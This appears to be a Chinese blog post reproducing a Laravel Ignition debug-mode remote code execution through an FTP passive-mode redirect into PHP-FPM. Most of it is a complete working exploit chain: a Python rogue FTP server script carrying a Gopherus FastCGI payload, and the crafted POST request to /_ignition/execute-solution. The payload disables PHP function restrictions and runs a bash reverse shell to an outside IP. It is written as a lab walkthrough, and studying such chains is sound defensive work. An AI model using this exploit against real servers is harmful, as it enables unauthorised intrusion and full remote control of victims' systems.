Laravel Debug RCE| ftp 被动模式攻击fastcgi复现

admin 2021年5月24日20:25:58评论163 views字数 2826阅读9分25秒阅读模式

1.环境搭建

我这边是用的宝塔来搭建漏洞环境

php版本 7.3

Laravel源代码解压到

Laravel Debug RCE| ftp 被动模式攻击fastcgi复现

设置运行目录

Laravel Debug RCE| ftp 被动模式攻击fastcgi复现

修改php配置

Laravel Debug RCE| ftp 被动模式攻击fastcgi复现

删除函数禁用

Laravel Debug RCE| ftp 被动模式攻击fastcgi复现

修改nginx配置

Laravel Debug RCE| ftp 被动模式攻击fastcgi复现

设置网站伪静态

Laravel Debug RCE| ftp 被动模式攻击fastcgi复现

2.生成payload

使用Gopherus生成payload

Laravel Debug RCE| ftp 被动模式攻击fastcgi复现

第一项输入任意php文件,绝对路径

第二项输入要执行的命令

启动nc监听

Laravel Debug RCE| ftp 被动模式攻击fastcgi复现

取出刚才生成的payload中_后面的字符,填充进去

我们将使用FTP协议的被动模式让file_get_contents()在我们的服务器上下载一个文件,当它试图使用file_put_contents()把它上传回去时,我们将告诉它把文件发送到127.0.0.1:9000

# -*- coding: utf-8 -*-# @Time    : 2021/1/13 6:56 下午# @Author  : tntaxin# @File    : ftp_redirect.py# @Software:
import socketfrom urllib.parse import unquote
# 对gopherus生成的payload进行一次urldecodepayload = unquote("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%15%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%27SCRIPT_FILENAME/www/wwwroot/127.0.0.1/public/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.3.86/1998%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00")payload = payload.encode('utf-8')
host = '0.0.0.0'port = 23sk = socket.socket()sk.bind((host, port))sk.listen(5)
# ftp被动模式的passvie port,监听到1234sk2 = socket.socket()sk2.bind((host, 1234))sk2.listen()
# 计数器,用于区分是第几次ftp连接count = 1while 1: conn, address = sk.accept() conn.send(b"200 n") print(conn.recv(20)) # USER aaarn 客户端传来用户名 if count == 1: conn.send(b"220 readyn") else: conn.send(b"200 readyn")
print(conn.recv(20)) # TYPE Irn 客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本 if count == 1: conn.send(b"215 n") else: conn.send(b"200 n")
print(conn.recv(20)) # SIZE /123rn 客户端询问文件/123的大小 if count == 1: conn.send(b"213 3 n") else: conn.send(b"300 n")
print(conn.recv(20)) # EPSVrn' conn.send(b"200 n")
print(conn.recv(20)) # PASVrn 客户端告诉服务端进入被动连接模式 if count == 1: conn.send(b"227 127,0,0,1,4,210n") # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234 else: conn.send(b"227 127,0,0,1,35,40n") # 端口计算规则:35*256+40=9000
print(conn.recv(20)) # 第一次连接会收到命令RETR /123rn,第二次连接会收到STOR /123rn if count == 1: conn.send(b"125 n") # 告诉客户端可以开始数据链接了 # 新建一个socket给服务端返回我们的payload print("建立连接!") conn2, address2 = sk2.accept() conn2.send(payload) conn2.close() print("断开连接!") else: conn.send(b"150 n") print(conn.recv(20)) exit()
# 第一次连接是下载文件,需要告诉客户端下载已经结束 if count == 1: conn.send(b"226 n") conn.close() count += 1

这里修改为自己的IP地址

Laravel Debug RCE| ftp 被动模式攻击fastcgi复现

启动ftp服务器

Laravel Debug RCE| ftp 被动模式攻击fastcgi复现

request

POST /_ignition/execute-solution HTTP/1.1Host: 127.0.0.1Content-Type: application/jsonContent-Length: 190
{ "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "ftp://[email protected]:23/123" }}

3.Getshell

Laravel Debug RCE| ftp 被动模式攻击fastcgi复现

参考文章

https://www.anquanke.com/post/id/226750 

https://mp.weixin.qq.com/s?__biz=MzU2MTQwMzMxNA==&mid=2247499853&idx=1&sn=225ce332407f61a2181b636e86545dab&chksm=%20%20https://www.anquanke.com/post/id/226750#h2-0


Laravel Debug RCE| ftp 被动模式攻击fastcgi复现

本文始发于微信公众号(漏洞推送):Laravel Debug RCE| ftp 被动模式攻击fastcgi复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月24日20:25:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Laravel Debug RCE| ftp 被动模式攻击fastcgi复现http://cn-sec.com/archives/268516.html

发表评论

匿名网友 填写信息